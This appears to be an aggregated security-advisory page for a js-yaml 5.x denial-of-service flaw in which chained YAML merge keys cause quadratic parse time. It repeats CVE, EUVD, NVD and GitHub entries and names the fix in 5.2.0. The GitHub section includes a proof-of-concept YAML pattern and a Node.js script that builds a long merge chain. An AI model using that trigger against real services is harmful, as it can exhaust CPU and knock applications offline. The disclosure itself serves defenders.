js-yaml: YAML merge-key chains can force quadratic CPU consumption

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js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.

Source published

8 Jul 2026 15:18:19 UTC

Source modified

9 Jul 2026 13:42:54 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.

Source published

Jul 8, 2026, 3:18:19 PM (timezone not stated)

Source modified

Jul 9, 2026, 1:42:54 PM (timezone not stated)

Observed here

7 Nov 2026 13:25:46 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.

Source published

8 Jul 2026 16:16:33 UTC

Source modified

25 Oct 2026 20:10:00 UTC

Observed here

27 Oct 2026 15:15:33 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Impact This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default When merge keys (`<<`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size. ### PoC From N = 4000 delay become > 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` ### Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Source published

20 Jul 2026 21:19:27 UTC

Source modified

20 Jul 2026 21:30:38 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Publisher rating · MODERATE